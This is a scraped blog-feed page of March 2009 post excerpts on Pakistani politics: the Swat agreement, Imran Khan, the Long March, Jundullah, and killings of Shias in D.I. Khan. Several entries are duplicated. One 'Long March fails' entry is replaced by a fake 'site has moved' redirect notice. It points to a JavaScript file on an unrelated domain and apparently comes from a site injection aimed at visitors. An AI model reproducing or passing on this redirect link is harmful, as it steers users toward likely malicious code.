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Sufi Muhammad’s judicial system in Swat: Is it really Islamic?: Daily Express, 22 March 2009 .. Ill-judged Saturday, March 21, 2009 We have never seen the detail of the agreement made between the government of NWFP and the TNSM, if indeed any such detail exists. For all the world

Liberals, Hardliners and Imran Khan: Illiberal liberals The Pakistan report card Saturday, March 21, 2009 Fasi Zaka Imran Khan’s recent address at the Rawalpindi District Bar Association demonstrates how far he has come as an orator. Had he chosen to participate in these elections,

Liberals, Hardliners and Imran Khan: Illiberal liberals The Pakistan report card Saturday, March 21, 2009 Fasi Zaka Imran Khan’s recent address at the Rawalpindi District Bar Association demonstrates how far he has come as an orator. Had he chosen to participate in these elections,

Pakistan’s Jundullah and the plaint from Iran: The plaint from Iran… The Iranian ambassador to Pakistan, Mr Mashallah Shakeri, has complained about the activities inside Iran of a terrorist organisation called Jundullah that is reportedly located inside Pakistan’s Balochistan province. The organisation has appeared a number

The Sunni Shia Unity Week (Hafta-e-Wahdat): A noble tradition – by Sadullah Jan Barq: The Unity Week (Hafta-e-Wahdat) is celebrated in Pakistan, Iraq, Lebanon, Iran and other countries from 12 to 17 Rabiul Awal every year (Islamic calendar) to foster between Sunni and Shia Muslims as well as with followers of other sects

Imran Khan and Qazi: The frustrated of the Long March: Jang, 22 March 2009 ….. Jang, 24 March 2009…. Imran urges CJP to hold Zardari to account LAHORE: Pakistan Tehreek-e-Insaaf chief Imran Khan is urging reinstated Chief Justice Iftikhar Muhammad Chaudhry to keep up the pressure on President Asif

D.I. Khan update 21 March 2009: Two more Shias killed by the Taliban / Sipah-e-Sahaba.: D.I.Khan: Prominent Nauha Khwan Asghar Martyred. SFP NEWS :March 18, 2009 :D.I.Khan: Asghar, 30, a prominent Nauha Khwan of D.I. Khan was killed in the early hours of 18 March 2009, when supporters of Dr. Zakir Naik and Dr.

D.I. Khan update 21 March 2009: Two more Shias killed by the Taliban / Sipah-e-Sahaba.: D.I.Khan: Prominent Nauha Khwan Asghar Martyred. SFP NEWS :March 18, 2009 :D.I.Khan: Asghar, 30, a prominent Nauha Khwan of D.I. Khan was killed in the early hours of 18 March 2009, when supporters of Dr. Zakir Naik and Dr.

Long March fails: Qazi Hussain Ahmed says: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected

Long March fails: Qazi Hussain Ahmed says: Friday, March 20, 2009 By Our Correspondent LAHORE – JAMAAT-E-ISLAMI Pakistan ameer Qazi Hussain Ahmad reiterated that long march had failed to achieve its prime objectives because judiciary was not restored at Nov 2, ‘07 state and Justice Abdul

Iranain blogger Omidreza Mirsayafi dies in prison. Time to support bloggers in Iran: Our friend Hamid Tehrani has told us that Omid Reza Misayafi has died in prison in Iran. Omid was sentenced in December to three years in prison for “insulting” Iranian religious leaders. “(T)he reason for his death,” says Hamid,

Iranian blogger Omidreza Mirsayafi dies in prison: Time to support Iranian bloggers: Our friend Hamid Tehrani has told us that Omid Reza Misayafi has died in prison in Iran. Omid was sentenced in December to three years in prison for “insulting” Iranian religious leaders. “(T)he reason for his death,” says Hamid,

Washington Post: CJ should teach restraint to politicians: By Anwar Iqbal Friday, 20 Mar, 2009 (Dawn) Mr Chaudhry is seen by many middle-class Pakistanis as representing the rule of law: Washington Post.—Reuters WASHINGTON: Chief Justice Iftikhar Mohammad Chaudhry could set an example for the political leaders by

Washington Post: CJ should teach restraint to politicians: By Anwar Iqbal Friday, 20 Mar, 2009 (Dawn) Mr Chaudhry is seen by many middle-class Pakistanis as representing the rule of law: Washington Post.—Reuters WASHINGTON: Chief Justice Iftikhar Mohammad Chaudhry could set an example for the political leaders by

Harris Khalique: Awami Party, an alternative, popular political force?: Side-effect Divided we stand Friday, March 20, 2009 Harris Khalique My friend and comrade-in-arms, Ayub Malik is the publisher and one of the editors of Badalti Dunya, a monthly magazine in Urdu with serious social and political content contributed

Harris Khalique: Awami Party, an alternative, popular political force?: Side-effect Divided we stand Friday, March 20, 2009 Harris Khalique My friend and comrade-in-arms, Ayub Malik is the publisher and one of the editors of Badalti Dunya, a monthly magazine in Urdu with serious social and political content contributed

Who will lead a Long March against horse trading in Punjab?: An interesting op-ed by Asadullah Ghalib in which he appeals to the people of Punjab to start a Long March against the politics of horse trading in Punjab. If Nawaz Sharif is a man of principles, he must not